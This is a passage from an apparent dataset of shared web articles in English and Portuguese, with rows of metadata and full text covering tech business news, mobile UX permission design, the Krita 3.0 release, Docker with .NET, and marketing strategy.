the bend of a trail I've hiked many times above Big Tujunga Canyon in the San Gabriels. The latter is an entwined pair of lemon-scented gums ( Eucalyptus citriodora ) that towers over Henry E. Huntington's mausoleum on a hillock above the last remaining orange grove in Los Angeles County. Despite losing some major branches in the big Santa Ana windstorm of 2011, these sculptural, smooth-barked eucalypts remain magnificent. L.A. as Subject is an association of more than 230 libraries, museums, official archives, cultural institutions, and private collectors. Hosted by the USC Libraries , L.A. as Subject is dedicated to preserving and telling the sometimes-hidden stories and histories of the Los Angeles region.",en
1464785508,CONTENT SHARED,-7463305179076477879,2416280733544962613,5253606329297313273,,,,HTML,http://techcrunch.com/2016/06/01/salesforce-buys-demandware-for-2-8b-taking-a-big-step-into-e-commerce/,"Salesforce buys Demandware for $2.8B, taking a big step into e-commerce","Salesforce made its name originally with cloud-based software to help salespeople manage their leads and close deals; and today the company took a big step into the business of sales themselves. Today the company announced that it would spend $2.8 billion to acquire Demandware, a cloud-based provider of e-commerce services to businesses big and small, which will spearhead a newer business area: the Salesforce Commerce Cloud. Demandware is a publicly-traded company, and Salesforce says that it will commence a tender offer for all outstanding shares of Demandwarefor $75.00 per share, in cash. This is a big premium on the company's current valuation - which was $1.87 billion at close of trade yesterday . The transaction is expected to close in Salesforce's Q2 2017, which ends July 31, 2016. ""Demandware is an amazing company-the global cloud leader in the multi-billion dollar digital commerce market,"" said Marc Benioff, chairman and CEO, Salesforce, in a statement. ""With Demandware, Salesforce will be well positioned to deliver the future of commerce as part of our Customer Success Platform and create yet another billion dollar cloud."" ""Demandware and Salesforce share the same passionate focus on customer success,"" said Tom Ebling, CEO, Demandware, also in a statement. ""Becoming part of Salesforce will accelerate our vision to empower the world's leading brands with the most innovative digital commerce solutions that enable them to connect 1:1 with customers across any channel."" This is a huge deal for Salesforce, as it extends the types of transactions that it will be open to with existing customers, and also gives it a new group of customers to upsell for other services that it offers, from marketing and online analytics through to back-office software for sales and other IT functions. Demandware customers include Design Within Reach, Lands' End, L'Oreal and Marks & Spencer, the company said. It also opens up Salesforce to competition with the likes of Amazon, who not only provides third parties with commerce software, but would prefer to be the go-to platform for transactions. Gartner estimates that worldwide spending on digital commerce platforms is expected to grow at over 14 percent annually, reaching $8.544 billion by 2020, according to figures provided by salesforce. Salesforce says its new Commerce Cloud ""will be an integral part of Salesforce's Customer Success Platform, creating opportunities for companies to connect with their customers in entirely new ways. Salesforce customers will have access to the industry's leading enterprise cloud commerce platform, and Demandware's customers will be able to leverage Salesforce's leading sales, service, marketing, communities, analytics, IoT and platform solutions to deliver a more comprehensive, personalized consumer experience."" more to come.",en
1464787006,CONTENT SHARED,-2410328180964789831,-1032019229384696495,-8455483825785562111,,,,HTML,http://research.google.com/pubs/MachineIntelligence.html,Machine Intelligence - Research at Google,"Research at Google is at the forefront of innovation in Machine Intelligence, with active research exploring virtually all aspects of machine learning, including deep learning and more classical algorithms. Exploring theory as well as application, much of our work on language, speech, translation, visual processing, ranking and prediction relies on Machine Intelligence.",en
1464787163,CONTENT SHARED,7446534728307622413,7438444945156715220,-7041303099674578152,,,,HTML,https://uxplanet.org/mobile-ux-design-the-right-ways-to-ask-users-for-permissions-6cdd9ab25c27?gi=488554f4124f,Mobile UX Design: The Right Ways to Ask Users for Permissions - UX Planet,"Mobile UX Design: The Right Ways to Ask Users for Permissions Did you know that the average app loses 80% of its daily active users within the first 3 days post-install? Most people download an app, open it once, and delete it. This happens because users try out a lot of apps but decide which ones they want to delete within the first few days. Are these user behaviors a result of poorly made apps? Not always, but the first interaction with the app plays a key role in creating overall impression (either good or bad). And when users open a new app the last thing they want to see is multiple popups in a row asking for permissions: App Would Like to Access Your Locations App Would Like Access Your Contacts App Would Like to Access Your Camera This action has a very negative impact on user experience and usually leads to the appbeing discarded. The app needs to be able to keep in touch with users before asking for permissions, in order to retain engagement. In this article will get you on the right track by helping you avoid common pitfalls in your permission request logic. Build a Strategy When it comes to requesting permission, the worst thing an app can do is to bombard users with permission requests without any notice or explanation. Both asking your users for permission too early or for too many things at ones are common mistakes. And yet, many apps still do that - right up front, as the first thing the user sees when opening the app. For example, Inbox by Gmail asks for permissions even before its onboarding tour, with no additional information or context. When you send permission requests, you expect all users to accept the request. In order to achieve this goal, your should build a permissions strategy . Permission strategy depends on the clarity and importance of the permission type you are requesting. Critical permissions should be requested up-front, while secondary permissions may be requested in-context. When to Ask The User One of the biggest factors that determines whether users accept or deny your requests is when they occur. A simple rule: Don't ask a user for access until you really need it. Ask Up-front Only For Critical Permissions For many apps, not getting access to data can change the entire user experience. For example, if an app depends on SMS service, declining access to the service makes the app useless. Luckily, users expect a messaging app to request SMS permissions, so requesting it up-front makes sense. When more than one permission is needed for a feature to work, a sk for those permissions only and nothing extra . Takeaway: Make sure that user are clearly understands what the app does (based on app's description or previous familiar experience) and ask up-front only critical permissions which user expect the app to request. Ask For Permissions In-context In most cases, if a new user experience begins with a set of permissions requests, you may be missing a critical opportunity to engage users . Apps should ask for permissions in context and communicate the value the access will provide. Because once users are engaged, they could be more likely to accept your requests. Takeaway: Users are more likely to grant permission if asked during a relevant task. How To Ask The User Apps should clarify why each permission request is needed, either through the feature name or an explanation provided. Remember, if you want to get a Yes answer, you have to ask nicely . A simple rule: Make sure it's crystal clear for users what they'll get in return for accepting the request. Benefit Explanation Permissions that are less clear should provide education about what the permission involves. If your app has a walkthrough, use it to explain what your app does and why unexpected permissions will be requested. Explaining a permission in context is another well-done example - it helps gauge user interest and improve comprehension of the permission. Try to explain to a user the benefits they'll receive by giving the app access. Priming During The Request You can do this by providing a background image that explains the permission request. Foursquare primes users by providing a background image that explains why the app needs that particular permission. ""Primer"" Message Before Actual Permission Request You can only trigger iOS default permission request once per feature. The worst possible thing is for a user to deny permission at the system level, because reversing that decision in iOS is very complicated. In most cases, it's better to ""prime"" your users to accept requests before the actual iOS permission request screen appears. Cluster is a good example of priming before the request. Cluster's flow includes a context-building screen, a primer , and then finally the permission request. Using pre-permissions dialogs made the ""Don't Allow"" problem for Cluster almost disappear. Ask In Context of Action User-triggered dialog works even better that context-building screen, because users are expecting the request and more likely to allow a permission when they want to use the feature it enables. Wait until a feature is invoked to request permission. When the user taps a feature like the camera in Cluster app, that triggers the request for photo permissions. How To Deal With Denied Permissions Because denying permissions may prevent a feature from working as intended, whenever a permission is denied it should be explained to the user. A simple rule: You should provide feedback whenever a permission is denied. Critical Permissions If the app can no longer run because a critical permission has been denied, explain why that permission must be allowed and offer a link to open Settings so the user can allow it. Below is an example of Google Hangouts screen that explains that a permission is needed for an app to function. Conclusion Clearly every app is different, but you should thinking about when the user would need access to different parts of their phone and data, and making sure they expect to be asked. Improving the user experience is an ongoing experience. Don't miss the opportunity to prepare your user to accept permissions! Test the each case to see what works best for you. Thank you!",en
1464787225,CONTENT SHARED,2887151738440339754,-1130272294246983140,294258189230415113,,,,HTML,http://www.b9.com.br/65076/podcasts/codigoaberto/codigo-aberto-daniela-cachich-vp-de-marketing-heineken/,"Código Aberto - Daniela Cachich, VP de Marketing, Heineken","No quarto episódio do Código Aberto , conversamos com Daniela Cachich, Vice-Presidente de Marketing da Heineken no Brasil. Carismática, inteligente e inspiradora, Dani não se esquivou de responder perguntas difíceis. Falamos sobre planejamento, promoção, Branded Content e marketing de experiência, que são grandes investimentos da Heineken para mexer seu ponteiro de negócio. Abordamos ainda a importância de uma cultura que aprenda com o erro para a inovação, sobre a atitude desafiante da marca no mercado brasileiro de vender cerveja sem depender dos estereótipos da gostosa de biquini, e os obstáculos que ela enfrentou como mulher para ocupar uma cadeira tão cobiçada em um mercado marcadamente machista. > Referências citadas: Talking Heads do GP; Unilever 80 anos ; Beco das Garrafas ; Up On The Roof ; Heineken UEFA Champions League ; Heineken no Rock in Rio ; O carnaval da Amstel ; Kaiser na Primeira Liga ; Popload Festival ; 65/10: A revolução delas ; Bill Murray caminha em slow motion com fãs . > OUÇA ======== ======== Críticas, comentários, sugestões para [email protected] ou nos comentários desse post.",pt
1464788414,CONTENT SHARED,6063029961433390149,-2979881261169775358,-8484425977452857078,,,,HTML,https://krita.org/krita-3-0-release-notes/,Krita 3.0: The Animation Release,"Krita 3.0: The Animation Release Krita 3.0 is finally here! Releasing round version-number releases is always exciting for any kind of project. It's like the start of a new beginning! And 3.0 presents a lot of new beginnings to us as well: First, we have now our own repository, for our code, as well as our own wiki, for the manual! So we started this release with a Spring-cleaning: Porting to Qt 5 and KDE Frameworks 5, necessary to keep Krita easy to maintain in the future. But also cleaning out the code. We removed lines of dustbunny code and reorganized all the files. We also started work on making OSX a first-class platform for Krita, but though we've already done lots of work, that is still a work in progress. And of course, rewriting the core rendering system, for what you have all been waiting for. If you haven't already, check out the Krita 3.0 Video Review from GDQuest... True Blue 2d Frame-By-Frame Animation You can now do proper frame-by-frame animation in Krita. Multiple layers, all sorts of playback speeds, onion skinning, on top of all of Krita's existing paint tools: It's enough to make any animator's fingers itch! Faster, Stronger, Instant! It is easy to make a timeline docker, but it's not easy to have fast playback, and we know that animation in Krita would just be a gimmick without real-time playback. Therefore speeding up was paramount! Faster Layer Workflow User Interface Improvements for Layer Management More Layer Actions Shortcut Improvements! Grids, Guides and Snapping: User Interface Filters Other changes Improved Learning and Education Technology Upgrade Special Thank You The Kickstarter campaign has helped tremendously with adding some of these features. If we go behind the scenes, there are a lot of talented individuals that made this release so great. Most of these people donated their time and energy to fix bugs, test, add features, or otherwise make Krita a better application. These people are at the heart of Krita. Thank you all! Boudewijn Rempt (Netherlands) - The maintainer of Krita. Boud does marketing, programming, and everything in between. Once upon a time, he started working on Krita to make a fantasy map, now, he has learned how to code, to do community management, to write release posts, press releases, to bug triage, and to design file-formats, yet he still hasn't drawn that fantasy map. Dmitry Kazakov (Russia) - The main coder of the core rendering components. Dmitry seems to find a mystical black magic solution for every problem. Thanks to his work on the canvas and the rendering engine, we now enjoy instant preview and fast playback. Wolthera van Hövell tot Westerflier (Netherlands) - Community manager and educator. In addition to being a developer and our color science expert, Wolthera searches the interwebs and collects feedback to share with the development team. She is also plays a pivotal role in the educational resources that are provided. Michael Abrahams (USA) - Michael contributed much of the code for the rewritten tablet handling and shortcuts. This became a big project when we did our technology upgrade. Through his contributions we have better tablet support than ever. Stefano Bonicatti (Italy) - Numerous bug fixes as well as improving and stabilizing the Windows build. Friedrich Kossebau (Germany) - Cleanup on the Krita code base after we moved to our own GIT repository. He has also helped fix a number of crashes and bugs. Scott Petrovic (USA) - User interface designer and developer. Scott has coordinated design discussions and provided mockups for all of the new features. He maintains krita.org and developed the new docs.krita.org learning area. Timothee Giet (France) - Improved the user interface by providing a number icons. Timothee also is the maintainer of updating the brush presets. Thorsten Zachmann (Germany) - Improved Krita's canvas speed with an upgrade to the Vc library Jouni Pentikainen (Finland) - Worked with Dmitry to develop the new animation system. Nataly Novak (Russia) - Added some usability fixes to the Advanced Color Selector Julian Thijssen (The Netherlands) - Improved OpenGL support Guruguru and Tokiedian (Japan) - Maintained the jp.krita.org and have assisted in spotting localization issues with non-latin languages. Fazekas Laszlo - Did the CSV animation exporter and made several animation bugfixes. Nicolas Guttenberg Provided us with the Greater Blending mode. David Revoy (France) - Resident artist that helps steer the design direction of Krita as well as testing early builds. Tyson Tan (China) - Designer of Kiki. Produces the splash screen image for us each release! Also finds all AMD specific bugs. Spencer Brown (USA) - Added gradient map filter. Alvin Wong (Hong Kong) - Developed the shell extension that allows thumbnails to be see on the desktop for Windows. Sven Langkamp (Germany) - Improved the popup palette as did bug fixing. Raghukamath (India) - Resident artist that helps steer the design direction of Krita as well as testing early builds. Moritz Molch (Germany) - User interface improvements. Beelzy (Germany) - Tested and made improvements to our OSX build Probono - Helped tremendously in getting the linux appimages working. This wouldn't have been possible without this individual. Beelzy Wolthera Animations:",en
1464790328,CONTENT SHARED,-8813724423497152538,-1602833675167376798,-3784159144403077709,,,,HTML,http://www.baguete.com.br/noticias/25/04/2016/itau-e-pioneiro-do-blockchain,Itaú é pioneiro do blockchain,"O Itaú é o primeiro banco da América Latina a participar do consórcio R3, uma iniciativa que reúne 42 duas instituições financeiras de todo o mundo para desenvolver projetos relacionados a tecnologias de registros compartilhados baseados em Blockchain. Banco é pioneiro na América Latina. Foto: divulgação. A iniciativa,comandada pela startup americana R3CEV, começou em setembro do ano passado com nove bancos: Barclays, BBVA, Commonwealth Bank of Australia, Credit Suisse, Goldman Sachs, J.P. Morgan,Royal Bank of Scotland, State Street e UBS. Um blockchain é um banco de dados distribuído, no qual novos registros de transação estão linkados entre si por marcadores de tempo compartilhados. Cada bloco, acessível por todos os participantes, contém o registro de uma série de transações. A tecnologia ficou conhecida por ser a base do bitcoin, criptomoeda eletrônica que tem sido uma febre no setor financeiro nos últimos anos, mas o princípio pode ser utilizado numa série de sistemas financeiros ou qualquer outra situação que demande registros públicos confiáveis. ""A tecnologia tem outras aplicações que possibilitam novos modelos de negócios, agilidade e eficiência em um ambiente seguro, de forma descentralizada, garantindo rastreabilidade das transações e autenticidade das partes envolvidas"", aponta o Itaú em nota. No que vai de ano, o R3 já anunciou três testes bem sucedidos envolvendo bancos participantes da iniciativa. O último deles contou com tecnologias da Eris Industries, IBM, Intel e Chain para facilitar a negociação de instrumentos de débito. Esse experimento foi a continuação de um primeiro feito com 11 bancos, usando Ethereum hospedado na nuvem Azure da Microsoft. ""Estamos certos de que essas inovações trarão benefícios para nossos clientes e ganhos reais de eficiência para o setor como um todo"", afirma Márcio Schettini, diretor-geral de Tecnologia e Operações do Itaú. O Itaú é o maior banco privado do Brasil, com 90 mil colaboradores, mais de 5 mil agências e PABs, e quase 26 mil caixas eletrônicos.",pt
1464794311,CONTENT SHARED,-1342820011354825290,-4627026983118548639,3024440323735054596,,,,HTML,http://www.cmo.com.au/article/600729/cmo-interview-putting-ibm-marketing-technology-under-microscope/,CMO interview: Putting IBM's marketing technology under the microscope,"Kareem Yusuf IBM's marketing cloud efforts might have been overshadowed by the likes of Adobe, Salesforce and Oracle in more recent times, but the vendor was in fact one of the first enterprise vendors to spy the massive opportunity for technology, analytics and automation in the marketing function. And like many of its peers, Big Blue has built up this suite of capabilities with the help of acquisitions. Kicking off with the purchase of Unica's on-premise, multi-channel campaign management solutions in 2010, the vendor has made several significant acquisitions in this space including CoreMetric's Web analytics software (2010), Silverpop's marketing automation and campaign management platform (2012), and Tealeaf's digital analytics offering (2012). But again, just as many of its rivals struggle to integrate features and functions, pulling capabilities together into a cohesive marketing technology offering is a work in progress for IBM. What's also clear is that IBM has a wealth of other enterprise technologies, particularly within advanced analytics, that could provide its marketing suite with an edge, provided it can get the story right for marketers. At this year's IBM's Amplify digital marketing and commerce conference in Tampa, the vendor provided several updates around better uniting marketing product sets, including direct integrations between IBM Campaign (Unica) and IBM Marketing Cloud (Silverpop), as well as tighter links between campaign management systems and its Journey Designer features. But it's not just integration in terms of function. IBM has its sights on helping clients pool together disparate data sources for martech and adtech activity, and is touting its Universal Behaviour Exchange (UBX) hub as ready for the job. The data connection hub allows users to bring together information stored in different applications within and outside of IBM platforms to power marketing activities. To date, the vendor has pre-integrated UBX with more than 100 different adtech and social platforms to achieve this, including a fresh agreement with tag management vendor, Ensighten. IBM's biggest competitive advantage, however, may well be from outside its current martech stack. During the conference, the vendor also took the opportunity to showcase how its Watson cognitive computing system could be put to use on marketing tasks, bringing natural language processing and machine learning to everyday campaign and content work. To discuss these initiatives and efforts, CMO caught up with Kareem Yusuf, newly appointed VP of offering management and development for IBM Commerce, to find out more. CMO: There has been an emphasis this year from marketing technology vendors on integrating acquired pieces within the marketing suites, and IBM is no exception. How would you describe IBM's approach to integration? Kareem Yusuf: Yes, we started by acquiring a lot of companies to establish a position in this broader space of commerce and marketing.It was a very valid strategy to get in this space, but we never approached acquisitions like we're a holding company. We always had a view on how we were going to bring these capabilities together, while enhancing them with things we were doing organically. If you consider the Silverpop acquisition two years ago: We spent time firstly completing things that were already being done. Then we began to infuse new, organic capability into what we now call the IBM Marketing Cloud based upon what we were doing internally, and also capabilities we could build on from other parts of IBM. The real-time personalisation service and performance insights capabilities, for example, are some of the types of things we've been building internally. The latest decision to bring cognitive into marketing was inspired by our brethren in Watson, learning from them, then looking from a Commerce perspective on how we wanted to apply that, and doing work of our own to surface capability. But I also think about the integration problem from another perspective. Often, when we use the term 'integration', we think of tools working together. But ignore the tools for a minute and think about certain outcomes people are trying to drive. One of the things that prompted us to create UBX for example, was that question of how you begin to 'integrate' multiple channels. How do you link the fact that a consumer clicked on that paid advert to coming to your website, to a segment you want to do an actual treatment against? That's a big aspect of the 'integration'problem. It's not just about capability integration, and it's not a pure data integration problem, I suggest it's an event integration problem. It's not that putting all the data in one place won't work - that's one approach - but you soon find there's data you still don't have. What you then begin to realise is that it's the activation of that data that's really important, and how you integrate events. That's what UBX is all about: How do we take the fact that you've built something in IBM Campaign, which customers technically use as a data segmentation engine, and link that with your digital marketing tool in a manner that's actually seamless? How do you begin to track from an analytics perspective, what someone is doing across multiple channels? I want to elevate the notion of integration so that it's not so much a focus of making these tools work together because I own them and they logically should, to more about what people are ultimately going to try and do. How is that informing the way IBM decides which third-party applications to hook into? Yusuf: We're looking at the 'ecosystem' our clients, the marketers, really need to work with every day. We know they're not just working with our tools. So we tried to use that to inform our strategy, then engage with other vendors and providers and initiate conversations about what is the actual value we're trying to deliver. In our conversations with Facebook and WeChat, for instance, what the marketer really wants is look-a-like segments - it's the most important use case. From there, we've looked at APIs we each have to integrate systems so marketers aren't just doing those activities as a one-off. To what degree are you ensuring your marketing solutions can be connected to other parts of the organisation, such as the contact centre, so marketing knows it shouldn't send an ad to this disgruntled customer, for example? Yusuf: People want to integrate their marketing clouds to their CRM and build connectors, so one of the most common integrations out of our marketing cloud is to Salesforce. IBM's philosophy has always been about open ecosystems - we believe in well-defined interfaces and important ways to interact, and our marketing solutions are no different. Most modern-day services, especially cloud-based properties, embrace that ethos. They readily provide APIs, so you help the customer by doing that. Our partner ecosystem is very important to us and always has been as a business. We have a role to make it easy for partners to on-board, be publishers and subscribers, and we also go out and do some things ourselves that clients tell us are popular. We also build partnerships to take us into ecosystems we might not have. For example, we've just announced a partnership with Ensighten, a tag data management vendor that has built a lot of integrations with other end points. By coming into the UBX ecosystem,that gives us a connection point into yet another range of services. What differentiates UBX from the Data Management Platform (DMP) approach that's rising in popularity globally? Yusuf: In simple terms, we're not storing all the data. A DMP exists to store data - to deliver you that integrated value, you need to put all that data in that data mart. We looked at that strategy and thought deeply about it, but decided we didn't want to go down the DMP path in that same way. It's not holding all the data that matters, it's the event and triggers people are really interested in. If you look at our relationship with MediaMath and that paid and owned connection, all marketers really want to know is that their ad was clicked on, and an identifier that associates with who clicked on it. That's the real piece of information they need to activate that information. Based upon someone doing that, and also coming to my website, I'm going to put that prospect in a specific audience segment for a specific treatment. What IBM is focused on is those events and driving correlation. The piece of data that identifies that varies from every system, so part of our value-add is creating the right identity maps. What we have done with MediaMath is understand the key data, what it publishes as an event, with just the right amount of info to identify it. We have the ID from the marketing cloud, we know how you think about those customers, and we link them together. In my mind, that is where the help was needed - not in storing all the data, but how you bring this value to bear. There is a lot of speculation about whether martech and adtech will increasingly collide. What's your view on M&A between the two spaces, and is it something IBM is interested in pursuing? Yusuf: It's almost impossible for me to comment on what we would or wouldn't acquire. What I would say is, as demonstrated, our focus is on where that ecosystem of value is and where you build the partnerships. The rest almost takes care of itself, whether it's inhouse, outhouse, build or partner. What I would agree with you on is that clients are looking more and more at how they connect paid and owned. Convergence is the wrong word, as it suggests coming into one thing, but that coming together is definitely key and central. All too often, these activities are treated as separate things. From the end customer's perspective, they're not looking at these touchpoints as separate, they're looking at them as a cohesive whole. In turn, our focus has been on this notion of omni-channel and what relationships we need to build in any given touchpoint or channel that enable that holistic view. What impact do you see the Internet of Things (IoT) having on marketing technology and customer engagement? Yusuf: I have two perspectives on that. The first is IBM has declared IoT as an important opportunity; it's so important we've established an integrated business unit around it. From my perspective in Commerce, I view IoT as not so much proliferation of channels as a proliferation of touchpoints. And there are a number of additional, different ways in which we engage with a customer, and those need to fit into a cohesive strategy. As a marketer, do you want to push your ad to the fridge? Or do you want more look-a-like audiences, and from what sources? With those kinds of identifiable things there's still content, offers and audiences, IoT just increases the different places in which we can either receive from, or push out to, or do analytics against. Doesn't IoT also change the definition of what engagement looks like? - Nadia Cameron travelled to IBM Amplify as a guest of IBM. Yusuf: I believe so, and it also changes the nature of content. When I say content, we all immediately jump to images or text, but it might not be. IoT is going to force an evolution in engagement styles, and that's part of what we'll be driving in terms of capabilities and support. One of the biggest use cases for IoT right now is in manufacturing and sensing what is going on in industrial systems. In turn, think about B2B scenarios when a system knows it's time to replenish itself: Tracking that event and using that to understand a cohort of audiences is just one such scenario. But we could also see all types of new content forms emerge as we work through this. That's really going to change how we talk about this. We could be talking about flashing LED lights as a content type. Follow CMO on Twitter: @CMOAustralia , take part in the CMO conversation on LinkedIn: CMO ANZ , join us on Facebook: , or check us out on Google+: google.com/+CmoAu",en
1464797377,CONTENT SHARED,2285214528595997209,-9009798162809551896,-1393306465829315553,,,,HTML,http://www.mundodocker.com.br/docker-e-dotnet/,Docker e .Net,"Oi pessoal! Rodar .Net em container? SIM!! é possível, e vamos mostrar hoje como você pode fazer esse ambiente funcionar e testar sua aplicação. Bem, antes de tudo você precisa entender todo o movimento que a Microsoft vem fazendo para que sua linguagem de programação torne-se cada vez mais utilizada pelos desenvolvedores, para isso eles repensaram tudo que já fizeram, e lançaram uma versão do .Net com features muito parecidas como as encontradas em node e ruby on rails, e a batizaram de ASP.NET Core. Conceitualmente o ASP.NET Core é uma plataforma open source de desenvolvimento leve e eficiente para aplicação escritas em .net, veja abaixo uma lista dos principais pontos do asp.net Core: Suporte integrado para criação e utilização de pacotes NuGet; Pipeline de request mais leve e modular; Ambiente configurado para cloud; Suporte a injeção de dependência; Novas ferramentas que facilitam o desenvolvimento web; Capacidade de hospedar o processo no IIS ou em um Self-Host; Suporte para desenvolvimento de aplicação asp.net em Windows, Linux e Mac; Open Source e com comunidade ativa; Todos os pacotes do .Net no NuGet; .Net Core construido com suporte a versionamento side-by-side; Uma unica Stack para Web UI e Web APIs; Por que a Microsoft vem tomando esse rumo? Simples, para atrair mais pessoas para o seu produto, tendo em vista que as principais linguagens, ou as que mais crescem tem nativas todas essas features, a melhor alternativa para a Microsoft foi mudar a abordagem e atrair pessoas para melhorar seu produto/serviço e claro, isso consolida ainda mais o Windows Azure, fazendo com o desenvolvimento e deploy de Apps em .net torne-se menos doloroso. Vamos ver isso rodando em um container? Simples, tendo o Docker instalado (em qualquer host, seja ele Windows, Linux ou Mac), execute: Dentro do container, você deve criar sua aplicação, de forma parecida com o que ocorre com o ruby on rails, para isso o .net core disponibiliza um utilitário chamado: dotnet, veja: O comando dotnet new criará toda a estrutura necessária para rodar uma aplicação hello world básica, ele criará um arquivo chamado project.json com o seguinte código: Esse arquivo project.json contém as informações de dependência que sua aplicação precisará para rodar, é fundamental que você informe nesse aquivo todos os pacotes que necessita. Nessa mesma estrutura será criado um arquivo chamado Program.cs com este código: Agora basta realizar a instalação das dependências: E pronto, sua aplicação estará pronta para rodar, basta executar o comando: Fácil certo? E é possível deixar ainda mais fácil, para isso, basta criar Dockerfile e gerar uma imagem com esse ambiente: Agora crie a imagem: docker build -t myapp . E crie um container baseado nessa nova imagem: docker run -d myapp , quer ver o que retornou nessa execução? docker logs iddocontainer , ele deverá retornar algo desse tipo: Hello World! . É claro que você pode aprimorar esse ambiente, principalmente se quiser rodar uma aplicação web, mas esse ambiente básico já serve como inicio para seus testes ;). Gostou? Então nos ajude divulgando o mundodocker.com.br , grande abraço!",pt
1464798119,CONTENT SHARED,7395435905985567130,3829784524040647339,-7426579400958584608,,,,HTML,https://www.oreilly.com/ideas/the-ai-business-landscape?imm_mid=0e446a&cmp=em-data-na-na-newsltr_20160601,The AI business landscape,"A data-driven analysis of companies that are adopting artificial intelligence. (source: Pexels ). This post is the beginning of an investigation into the business market for artificial intelligence, which will culminate in a free report about the larger AI market. Sign up to be notified when the new free report, ""The New AI Market,"" becomes available . Artificial intelligence plays an increasingly central role in everything from consumer electronics to retail, and from health care to cars. With such widespread applications, which companies have adopted AI as a new direction for their businesses? How are they using it and for what purpose? By studying the AI market using AI, the forthcoming report The New Artificial Intelligence Market aims to answer this question. A graph-based machine learning model developed at Spiderbook learns industry vocabularies around AI, reads the entire business Internet, and then classifies businesses into different levels of maturity and investments in AI. We canvassed almost 500,000 companies around the globe to develop a data-driven, in-depth understanding of the AI landscape and various related technologies, like cognitive computing, deep learning, machine vision, natural language understanding, and autonomous cars. This report culminates in providing insights into industries and geographies investing the most in AI, and what they are building with it. As a teaser to the report, we're providing a chart on how many businesses are using deep learning and a few examples of such businesses outside of the software/IT industry. We find that more than 600 companies have jumped into applying deep learning with real budgets. As you can see in the figure below, about 90 companies (level 3), have made strategic investments in deep learning for their businesses. Another 177 companies (level 2) are developing projects using deep learning with dedicated resources in staff. And more than 350 companies (level 1) are experimenting with deep learning in their labs. Figure 1. Number of companies investing in deep learning. Source: Spiderbook, used with permission. Given how early deep learning is as a technology, the majority of companies investing in deep learning are IT and software businesses. However, we discovered interesting champions in other industries that are adopting deep learning as well. Below are some examples of companies that are not in traditional software or IT businesses, but that are adopting deep learning. Given that deep learning has early roots in image processing, it is exciting to see health care companies like Siemens Healthcare and GE Healthcare leading the pack, along with research institutions like the NIH and Lawrence Livermore National Labs. We aim to provide more insights into what these companies are doing with deep learning and other AI technologies in the detailed report. Figure 2. Examples of companies investing in deep learning. Source: Spiderbook, used with permission. Article image: (source: Pexels ).",en
1464798987,CONTENT SHARED,1790561775815571583,3609194402293569455,-1041778959468827323,,,,HTML,https://endeavor.org.br/nestle-estrategia/,Estratégia da Nestlé | Endeavor Brasil,"Lollo, depois Milkybar e então Lollo novamente: a prova de que (a falta de) uma estratégia faz toda a diferença Se você tem trinta anos ou mais, deve ter vibrado quando descobriu que o chocolate Milkybar, da Nestlé, voltaria a se chamar Lollo, com vaquinha na embalagem e tudo. Afinal, trata-se de um clássico dos anos 80. Um produto que seguiu imbatível nas vendas até que a empresa suíça deu a ordem de mudar tudo: nome, embalagem, posicionamento etc. Resultado: cerca de vinte anos depois, o Milkybar praticamente sumiu dos mercados brasileiros. Até que, em 2012, a Nestlé resolveu relançar o simpático chocolatinho. Hoje, a companhia já avalia que pode até recuperar as vendas perdidas nesse período. Existem inúmeros casos parecidos, de empresas de todos os portes. São exemplos que mostram que, antes de partir para o mercado, é fundamental que se tenha uma estratégia bem definida . Ainda mais quando se trata de uma empresa no início das operações, já que ela certamente não terá o fôlego da Nestlé para correr atrás do prejuízo. Pois é, a questão da estratégia é determinante para o bom andamento de um novo negócio. Neste artigo sobre o tema , o venture capitalistFred Wilson conta que existem alguns erros clássicos que, se cometidos, podem comprometer gravemente a gestão, antes mesmo dela começar. Um deles é fechar o modelo de negócios sem ter estabelecido uma estratégia eficiente. São comuns os casos de startups que desenvolvem um produto, elaboram o modelo e só então partem para o planejamento estratégico que vai lançá-lo e posicioná-lo. É como colocar o carro na frente dos bois - um equívoco que, guardadas as devidas proporções, foi ilustrado pelo exemplo do Lollo. Wilson aponta para o fato de que criar um novo produto ou um reposicionamento não significa lançá-lo. Significa, no máximo, que sua empresa chegou a um ponto em que o produto oferecido é aceito pelo mercado. E isso pode parecer suficiente para a elaboração de um modelo de negócio, mas não é. Mas eu nem tenho ideia de por onde começar... Ora, não se aflija, isso é perfeitamente normal. Existem algumas perguntinhas básicas que você pode fazer para orientar esse início de planejamento. São elas: Quem somos? Qual a nossa missão? Qual a relevância do nosso negócio para o mercado? Afinal, aonde queremos chegar? Quais os atores envolvidos neste planejamento? Quem deve ter participação importante nas análises que traçarão os caminhos da empresa? Obtidas as respostas e definidos os papeis, chega o momento de reunir o máximo de informações para ampliar sua visão do mercado. É a hora de você conhecer tudo o que se refere à análise de mercado, ao crescimento e ao desenvolvimento de funcionários, aos concorrentes e às áreas e mercados para explorar. E se você quiser conhecer mais detalhes desse processo, recomendamos que conheça alguns de nossos cursos sobre estratégia. Mais especificamente o Startup: Ferramentas essenciais para começar seu negócio . É conhecimento aplicável para te auxiliar em momentos centrais de um empreendimento, como a validação de uma ideia de negócio, o teste da solução de um produto ou serviço e a estruturação do modelo de negócio. Com três horas e meia de duração, o curso é 100% online, gratuito e está a cargo de Rafael Duton, empreededor Endeavor e cofundador da Movile . Depois de realizá-lo, você será capaz de: Validar uma ideia de negócio; Identificar e validar qual é o problema ou a dor do seu potencial cliente; Validar a proposta de solução do seu produto ou serviço (MVP); Estruturar um modelo de negócio (Canvas); Identificar os adeptos iniciais e como montar um pitch de vendas. Outro curso essencial para você montar sua estratégia é o de Planejamento Estratégico para Empreendedores , também online e totalmente grátis. Ministrado pelo especialista Fernando Bucheroni, o curso tem três horas de duração e te vai te ajudar a: Definir sua visão e missão e entender por que isso afeta as decisões estratégicas; Analisar a situação atual do seu negócio e do seu mercado; Elaborar estratégias a partir dos diagnósticos feitos; Mapear e escolher entre as alternativas estratégicas possíveis; Executar e monitorar o planejamento no dia a dia da empresa. Agora, se você já tem uma estratégia que considera efetiva, ótimo. Mas não conte com ela para sempre. Afinal, ""camarão que dorme, a onda leva""; e isso vale ainda mais para o empreendedorismo. Afinal, uma estratégia pode se provar efetiva por algum tempo, mas não o será para sempre. É preciso se reinventar, renovar, atualizar... enfim, é preciso inovar . Existem vários casos em que estratégias sólidas levaram a inovações bem-sucedidas. O da Kibon , por exemplo, que inaugurou uma loja em São Paulo onde os consumidores podem escolher os ingredientes e acompanhar na hora a preparação de seus próprios picolés. A ideia reproduz a aposta estratégica da Unilever em lojas conceitos. O objetivo é o de reforçar o nome dos produtos junto ao público em períodos favoráveis de consumo. Aqui na Endeavor também temos um curso que te ajuda a planejar a inovação. É o de Ferramentas 